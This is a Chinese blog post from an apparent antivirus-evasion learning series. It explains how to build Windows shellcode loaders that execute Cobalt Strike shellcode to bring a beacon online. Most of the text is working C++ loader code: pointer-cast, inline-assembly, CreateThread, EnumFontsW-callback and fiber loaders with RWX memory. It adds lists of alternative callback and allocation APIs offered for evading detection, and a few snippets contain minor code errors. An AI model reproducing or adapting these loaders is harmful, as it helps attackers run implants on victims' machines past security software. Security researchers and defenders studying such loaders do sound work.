免杀笔记 ----> ShellCode Loader !!!

学了那么久的前置知识,终于到了能上线的地方了!!!     

不过这里还没到免杀的部分,距离bypass一众的杀毒软件还有很长的路要走!! 

目录

1.ShellCode

2.ShellCode Loader的概念

3.可读可写可执行

4.ShellCode Loader的类型

1.指针调用

2.汇编调用

3.新建线程调用

4.回调函数

5.纤程加载

1.ShellCode

在学shellcode loader之前,我们得去先了解一下什么是ShellCode

Shellcode 是一段被设计成能够被计算机上的某个程序或系统调用执行的机器码。通常,Shellcode 的目标是利用操作系统或应用程序中的漏洞或弱点,以便于执行特定的任务,比如获取系统权限、执行远程命令、窃取信息等。

如果我们去看一个普通的木马的话(不考虑一些骚操作的执行的话)我们一般都是能看见这样的结构的! 

或者我们直接去CS上也是能直接去生成一段裸的代码的话也是能看见我们的ShellCode的

生成出来的文件就是我们的Shell Code

2.ShellCode Loader的概念

有了ShellCode的知识的铺垫之后,我们就可以去讲我们的ShellCode Loade了

Shellcode loader(Shellcode加载器)是一种软件或代码片段,用于加载和执行Shellcode。它的主要目的是将Shellcode(通常是一段机器码,以二进制形式编写)注入到系统内存中,并使其在计算机上执行。

当然了,一个木马并不是一定需要shellcode loader的!!! 

3.可读可写可执行

我们的ShellCode一定是要一块可读可写可执行的内存,那么我们怎么样才能拿到一块可读可写的内存呢????   那么下面,我们先来介绍一个Windows的API!!!

VirtualAlloc   //虽然这个API被杀的很死

我们去MSDN看看对应这个API的解释

VirtualAlloc 是Windows操作系统中的一个函数,用于在进程的虚拟地址空间中分配内存。它的作用是动态地为程序分配一块指定大小的内存区域,这块内存可以用于存储数据或者执行代码。

LPVOID VirtualAlloc(LPVOID lpAddress,SIZE_T dwSize,DWORD  flAllocationType,DWORD  flProtect
);
  • lpAddress: 指定要分配的内存区域的起始地址。如果为 NULL,系统会自动选择一个合适的地址。
  • dwSize: 指定要分配的内存区域的大小(以字节为单位)。
  • flAllocationType: 指定分配类型,如 MEM_COMMIT 表示分配物理存储器并将其初始化为零,MEM_RESERVE 表示为内存区域保留地址空间而不实际分配物理存储器等。
  • flProtect: 指定内存保护属性,如 PAGE_EXECUTE_READWRITE 表示可执行内存并且可读写等。

并且它的返回类型是LPVOID 所以我们就可以用 void* 或者直接PVOID去接受它的返回地址

那么下面我们就来申请一块可读可写可执行的内存

void *p = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);

这样,我们的指针p就执行了一块可读可写可执行的内存地址的首地址

4.ShellCode Loader的类型

1.指针调用

首先我们申请一块内存肯定就不说了,然后我们需要将我们的ShellCode复制到这块内存上

  • Memcpy
void* memcpy(void* destination, const void* source, size_t num);

所以我们的代码就可以初见端倪了

void* p = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);memcpy(p, buf, sizeof(buf));

当然了,memcpy是有返回值的,我们还可以写一段代码判断一下是否copy成功

void* p = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (memcpy(p, buf, sizeof(buf)))
{cout << "Memcpy OK :)" << endl;
}
else
{cout << "Memcpy Failed :("<<endl;
}

执行结果如下

然后就是去执行了,怎么执行呢?? 这里我闷给出一种格式

((void(*)())p)();
  • void(*)() 这是一个不返回任何值的函数指针的声明、
  • ((void(*)())p) 这是强制将 p 转换成void(*)()的指针类型
  • 然后((void(*)())p) () 就是函数调用

所以我们的完整的代码就是

	void* p = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);if (memcpy(p, buf, sizeof(buf))){cout << "Memcpy OK :)" << endl;}else{cout << "Memcpy Failed :("<<endl;}((void(*)())p)();

当我们运行一下的时候,就能看见CS上线了!!!!!(终于上线了)

当然了,这样是绝对不免杀的(如果这免杀就离大谱了)

2.汇编调用

首先声明一下在64位的程序下,是不能直接写汇编的,所以我们一般都是用的32位的Shellcode

然后我们就来看以下代码

	__asm{lea eax, buf;call eax;}

这段代码其实就是将BUF的地址给了eax ,然后直接用call 函数去执行 buf 地址的函数(强制改变它的EIP)

但是你会发现这样是不会上线的!!  因为我们的ShellCode 是放在了全局变量初,这块内存可读可写,但是不可执行!!!!  所以我们的代码时没有用的!!! 我们必须通过一行代码来让这块内存RWX

#pragma comment(linker, "/section:.data,RWE")

 所以我们的代码就变成了这样

#include<iostream>
#include<windows.h>
using namespace std;
/* length: 797 bytes */
unsigned char buf[] = ""
#pragma comment(linker, "/section:.data,RWE")
int  main()
{__asm{lea eax, buf;call eax;}return 0;
}

这样,就能上线了!!!

3.新建线程调用

创建线程会在新的线程上下文中执行 shellcode,这意味着 shellcode 的执行环境与主程序的环境是隔离的。如果 shellcode 导致了异常或者崩溃,主程序通常不会受到直接影响,而是会在独立的线程中进行处理。

我们首先来贴一段代码,然后再来对这段代码进行解释

unsigned char buf[] = "shellcode";   
int main()
{DWORD dwThreadId; // 线程IDHANDLE hThread; // 线程句柄void* shellcode = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);CopyMemory(shellcode, buf, sizeof(buf));hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)shellcode, NULL, NULL, &dwThreadId);WaitForSingleObject(hThread, INFINITE);return 0;
}

上面大部分代码我们都是很熟悉的,这里我们要说的一下的就是我们的这个也是被杀的API

  • CreateThread
HANDLE CreateThread(LPSECURITY_ATTRIBUTES   lpThreadAttributes,SIZE_T                  dwStackSize,LPTHREAD_START_ROUTINE  lpStartAddress,__drv_aliasesMem LPVOID lpParameter,DWORD                   dwCreationFlags,LPDWORD                 lpThreadId
);

其中对于各个参数的解释

  • lpThreadAttributes:线程安全属性,通常为 NULL
  • dwStackSize:新线程的栈大小,通常为 0 表示使用默认大小。
  • lpStartAddress:线程函数的地址,即新线程将从这个函数开始执行。
  • lpParameter:传递给线程函数的参数,可以是任意类型的数据。
  • dwCreationFlags:线程创建的标志,通常为 0
  • lpThreadId:输出参数,用于接收新线程的ID。

其中比较重要的就是lpStartAddress,lpThreadId。分别也就对应了我们的两个变量。 其中ID就没什么好说的了,我们来说一下那个线程函数的地址

(LPTHREAD_START_ROUTINE)shellcode 的作用是将 shellcode强制转换为LPTHREAD_START_ROUTINE 类型的函数指针。这样,在调用 CreateThread 函数时,可以将转换后的函数指针作为线程的入口点,使得新线程从 shellcode 函数开始执行。

然后还有一个函数就是

  • WaitForSingleObject()

WaitForSingleObject() 是一个用于等待一个指定的对象(如线程、进程、事件、互斥体等)进入 signaled 状态的函数。

  • hHandle:要等待的对象的句柄(handle)。可以是线程句柄、进程句柄、事件句柄等。
  • dwMilliseconds:等待的超时时间,单位是毫秒。如果设为 INFINITE(-1),表示无限等待,直到对象变为 signaled 状态。

这样,我们就能看懂我们一开始写的代码了

#include<iostream>
#include<windows.h>
using namespace std;
#pragma comment(linker, "/section:.data,RWE")
/* length: 797 bytes */
unsigned char buf[] = "";int main()
{DWORD id;HANDLE thread;void* p = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);memcpy(p, buf, sizeof(buf));thread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)p, NULL, NULL, &id);WaitForSingleObject(thread, INFINITE);return 0;
}

也是能成功上线的!!!!!  

当然了,这也是不免杀的,只是一个loader而已

4.回调函数

还记得以前还没学习免杀的时候,就听过回调函数的大名,但是不知道现在回调函数的效果怎么样了!!   我们先来了解一下什么是回调函数

"回调函数" 是一种在编程中常见的概念,特别是在事件驱动的编程模型中经常用到。它指的是一种函数,通常作为参数传递给另一个函数,并在特定事件发生时由另一个函数调用(即“回调”),以便处理该事件或者进行适当的响应。

听不太懂? 没事,我用人话翻译一下

利用某些系统或应用程序接口(API),将 shellcode 的地址注册为回调函数。当特定条件满足时,系统或应用程序会调用该回调函数,从而间接执行 shellcode。

那么,他和上面的几种运行Shellcode的方式有什么不同呢?? 

隐蔽性强:通过合法的系统接口间接执行 shellcode,可以绕过一些安全检测和监控机制,因为通常系统并不会怀疑合法接口的使用。

对于直接操作内存,现代操作系统和安全软件可能会监视和拦截直接执行 shellcode 的操作,认为这是恶意行为,而通过回调函数,有可能AV并没有Hook这些函数,所以我们就能成功的运行ShellCode !! 

那么我们先来贴一段代码

#include <Windows.h>
unsigned char shellcode[] = "shellcode";
int main() {LPVOID address = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT,PAGE_EXECUTE_READWRITE);memcpy(address, shellcode, sizeof(shellcode));HDC dc = GetDC(NULL);EnumFontsW(dc, NULL, (FONTENUMPROCW)address, NULL);return 0;
}

前面两段我们非常熟悉,不多说,我们说说后面的部分!

HDC dc = GetDC(NULL);
EnumFontsW(dc, NULL, (FONTENUMPROCW)address, NULL);

首先通过GetDC获取屏幕设备的上下文句柄。

然后通过EnumFontsW这个函数在枚举每一个字体的时候,调用我们的Shellcode这个函数!!

所以就能看得懂我们这一段loader了

int main()
{void* p = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);memcpy(p, buf, sizeof(buf));HDC dc = GetDC(NULL);EnumFontsW(dc, NULL, (FONTENUMPROCW)p, NULL);return 0;
}

 也是成功上线

当然了,回调函数还有很多,我们替换就是了

1. EnumTimeFormatsA()
2. EnumWindows()
3. EnumDesktopWindows()
4. EnumDateFormatsA()
5. EnumChildWindows()
6. EnumThreadWindows()
7. EnumSystemLocalesA()
8. EnumSystemGeoID()
9. EnumSystemLanguageGroupsA()
10. EnumUILanguagesA()
11. EnumSystemCodePagesA()
12. EnumDesktopsW()
13. EnumSystemCodePagesW()

5.纤程加载

这个我在我之前的Blog也说过一下(不过当时我并不懂是什么意思),现在我们可以来看看了

纤程是什么? 纤程是一种用户模式下的执行单元,不同于操作系统内核管理的线程。它由用户代码显式地创建和管理,而不像线程那样由操作系统内核来调度和管理。

我们还是来贴一段上线的代码

int main() {UCHAR buf[] = "";DWORD oldProtect;BOOL ret = VirtualProtect((LPVOID)buf, sizeof buf,PAGE_EXECUTE_READWRITE,&oldProtect);PVOID mainFiber = ConvertThreadToFiber(NULL);PVOID shellcodeFiber = CreateFiber(NULL, (LPFIBER_START_ROUTINE),(char*)buf,NULL);SwitchToFiber(shellcodeFiber);DeleteFiber(shellcodeFiber);
}

其实前面还是换汤不换药,我们直接来讲一下后面的新代码

    PVOID mainFiber = ConvertThreadToFiber(NULL);PVOID shellcodeFiber = CreateFiber(NULL, (LPFIBER_START_ROUTINE),(char*)buf,NULL);SwitchToFiber(shellcodeFiber);DeleteFiber(shellcodeFiber);
  • ConvertThreadToFiber(NULL)函数将当前线程转换为主纤程。主纤程是在进程初始化时自动创建的纤程,它可以让当前线程参与到纤程的调度中。
  • CreateFiber(NULL, (LPFIBER_START_ROUTINE),(char*)buf,NULL); 函数用于创建一个新的纤程。
  • SwitchToFiber(shellcodeFiber); 函数将当前线程切换到指定的纤程

所以我们就能看懂那一段代码了

#include<iostream>
#include<windows.h>
using namespace std;
#pragma comment(linker, "/section:.data,RWE")
/* length: 797 bytes */
unsigned char buf[] = ""
int main()
{void* p = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);void* mainfiber = ConvertThreadToFiber(NULL);void* shellfiber = CreateFiber(NULL, (LPFIBER_START_ROUTINE)(char *)buf, NULL);SwitchToFiber(shellfiber);return 0;
}

也是能成功上线的

当然了,Shellcode Loader还有很多的类型,这里只是介绍了一些最简单的Loader ,想免杀的话,你可以最简单的替换一下函数

GlobalAlloc()
CoTaskMemAlloc()
HeapAlloc()
RtlCreateHeap()
AllocADsMem()
ReallocADsMem()

当然了,最简单的换函数肯定是不能过的,接着你可以隐藏导入表(这个我后面找时间更新!!)

当然了,就算隐藏了导入表也是无法完成免杀的,所以怎么免杀 ?? 我们后面来说 !!! 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/369414.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

使用AES加密数据传输的iOS客户端实现方案

在现代应用开发中&#xff0c;确保数据传输的安全性是至关重要的。本文将介绍如何在iOS客户端中使用AES加密数据传输&#xff0c;并与服务器端保持加密解密的一致性。本文不会包含服务器端代码&#xff0c;但会解释其实现原理。 加密与解密的基本原理 AES&#xff08;Advance…

AIGI赋能未来:人工智能如何重塑电子电路学习体验

文章目录 一、掌握基础知识与技能1. 扎实理论基础2. 熟练使用工具 二、融合AI技术提升学习效率1. 利用AI辅助学习平台2. 应用AI工具进行电路设计与仿真 三、探索创新应用方向1. 关注AI与电子电路的交叉领域2. 参与开源项目和竞赛 四、培养跨学科思维1. 加强数学与计算机科学知识…

比Proxmox VE更易用的免费虚拟化平台

之前虚拟化一直玩Proxmox VE&#xff0c;最近发现一个更易用的虚拟化软件CSYun&#xff0c;他与Proxmox VE类似&#xff0c;都是一个服务器虚拟化平台。它不像VMware ESXi那么复杂&#xff0c;对于个人使用者和中小企业是一个比较好的选择。 这个软件所在的网址为&#xff1a;…

(一)Docker基本介绍

部署项目的发展 传统部署适合需要最大性能和可靠性的场景&#xff0c;但在资源利用和管理方面有显著劣势。虚拟化部署提供了良好的资源利用率和隔离性&#xff0c;适用于需要灵活扩展和多租户环境的场景&#xff0c;但存在性能开销。容器部署在轻量级、可移植性和资源利用率方面…

[SAP ABAP] 子例程

子例程 示例1 主程序(Z437_TEST_2024) INCLUDE文件(Z437_TEST_2024_F01) 输出结果如下所示 示例2 主程序(Z437_TEST_2024) INCLUDE文件(Z437_TEST_2024_F01) 输出结果如下所示 补充扩展练习 主程序(Z437_TEST_2024) INCLUDE文件(Z437_TEST_2024_F01) 输出结果如下所示 提示…

深入理解【 String类】

目录 1、String类的重要性 2、常用方法 2、1 字符串构造 2、2 String对象的比较 2、3 字符串查找 2、4字符转换 数值和字符串转换&#xff1a; 大小写转化&#xff1a; 字符串转数组&#xff1a; 格式转化&#xff1a; 2、5 字符串替换 2、6字符串拆分 2、7 字符串…

vue项目创建+eslint+Prettier+git提交规范(commitizen+hooks+husk)

# 步骤 1、使用 vue-cli 创建项目 这一小节我们需要创建一个 vue3 的项目&#xff0c;而创建项目的方式依然是通过 vue-cli 进行创建。 不过这里有一点大家需要注意&#xff0c;因为我们需要使用最新的模板&#xff0c;所以请保证你的 vue-cli 的版本在 4.5.13 以上&#xff…

ELK日志系统和Filebeat采集器的学习总结

ELK是ElasticSerach、Logstash、Kina Logstash负责采集数据&#xff0c;Logstash有三个插件&#xff0c;input、filter、output&#xff0c;filter插件作用是对采集的数据进行处理&#xff0c;过滤的&#xff0c;因此filter插件可以选&#xff0c;可以不用配置。 ElasticSear…

Android super.img结构及解包和重新组包

Android super.img结构及解包和重新组包 从Android10版本开始&#xff0c;Android系统使用动态分区&#xff0c;system、vendor、 odm等都包含在super.img里面&#xff0c;编译后的最终镜像不再有这些单独的 image&#xff0c;取而代之的是一个总的 super.img. 1. 基础知识 …

npm安装依赖报错——npm ERR gyp verb cli的解决方法

1. 问题描述 1.1 npm安装依赖报错——npm ERR! gyp verb cli npm MARN deprecated axiosQ0.18.1: critical security vuLnerability fixed in v0.21.1. For more information, npm WARN deprecated svg001.3.2: This SVGO version is no Longer supported. upgrade to v2.x.x …

第二节:如何使用thymeleaf渲染html(自学Spring boot 3.x的第一天)

大家好&#xff0c;我是网创有方&#xff0c;今天来学习如何使用thymeleaf渲染html。该模板运用不广泛&#xff0c;所以本节内容了解既可。 第一步&#xff1a;创建html文件。 在模板templates目录下创建一个html文件。 编写代码如下&#xff1a; <!DOCTYPE html> <…

雷电模拟器报错remount of the / superblock failed: Permission denied remount failed

报错截图 解决方法 打开设置 设置配置system.vmdk可写入 解决

【MySQL】mysql访问

mysql访问 1.引入MySQL 客户端库2.C/C 进行增删改3.查询的处理细节4.图形化界面访问数据库4.1下载MYSQL Workbench4.2MYSQL Workbench远程连接数据库 点赞&#x1f44d;&#x1f44d;收藏&#x1f31f;&#x1f31f;关注&#x1f496;&#x1f496; 你的支持是对我最大的鼓励&a…

在Apache HTTP服务器上配置 TLS加密

安装mod_ssl软件包 [rootlocalhost conf.d]# dnf install mod_ssl -y此时查看监听端口多了一个443端口 自己构造证书 [rootlocalhost conf.d]# cd /etc/pki/tls/certs/ [rootlocalhost certs]# openssl genrsa > jiami.key [rootlocalhost certs]# openssl req -utf8 -n…

【C++】哈希表 ---开散列版本的实现

你很自由 充满了无限可能 这是很棒的事 我衷心祈祷你可以相信自己 无悔地燃烧自己的人生 -- 东野圭吾 《解忧杂货店》 开散列版本的实现 1 前言2 开散列版本的实现2.1 节点设计2.2 框架搭建2.3 插入函数2.4 删除函数2.5 查找操作2.6 测试 Thanks♪(&#xff65;ω&#x…

也说字母U:房子到底是什么?

​ 不记得是第几期了&#xff0c;湖南卫视有档很火的音乐节目叫《歌手》&#xff0c;那一期是最终是韩磊夺得了冠军&#xff0c;他有一杀手锏&#xff0c;叫《向天再借五百年》&#xff0c;他要不夺冠&#xff0c;好像大家也对不起对这首歌的印象&#xff0c;因为他是多少人的记…

创建本地仓库

一、新建挂载目录 二、将挂载本地镜像挂载到目录 三、配置yum仓库 一、新建挂载目录 mkdir /BenDiCangKu 二、将挂载本地镜像挂载到目录 1、先连接本地光盘 2、挂载光盘 mount /dev/sr0 /BenDiCangKu 3、查看挂载 由此可见挂载成功 三、配置yum仓库 1、新建yum仓库文件…

HumbleBundle7月虚幻捆绑包30件军事题材美术模型沙漠自然环境大逃杀模块化建筑可定制武器包二战现代坦克飞机道具丧尸士兵角色模型20240705

HumbleBundle7月虚幻捆绑包30件军事题材美术模型沙漠自然环境大逃杀模块化建筑可定制武器包二战现代坦克飞机道具丧尸士兵角色模型202407051607 这次HumbleBundle捆绑包是UE虚幻军事题材的&#xff0c;内容非常多。 有军事基地、赛博朋克街区、灌木丛景观环境等 HB捆绑包虚幻…

相关技术 太阳能热水器循环水泵制作技术

网盘 https://pan.baidu.com/s/1oAKwUEGkKnEgxE-F4znKow?pwdidxd 双温区蓄能供热型太阳能热水系统及其工作方法.pdf 双罐叠压节能恒温型太阳能热水机组.pdf 基于傅科电流的循环式风能热水器.pdf 基于太阳能利用的建筑冷热电联产系统及工作方法.pdf 基于太阳能和热泵的双蓄式热…

护航端侧大模型平稳健康发展,百度大模型内容安全Lite版正式发布

6月28日&#xff0c;WAVE SUMMIT深度学习开发者大会 2024 “智变应用、码动产业”平行论坛在北京召开。与会&#xff0c;百度大模型内容安全Lite版正式发布&#xff0c;可面向低算力和超低算力的终端大模型提供离线场景下的一站式安全解决方案&#xff0c;为各类终端大模型平稳…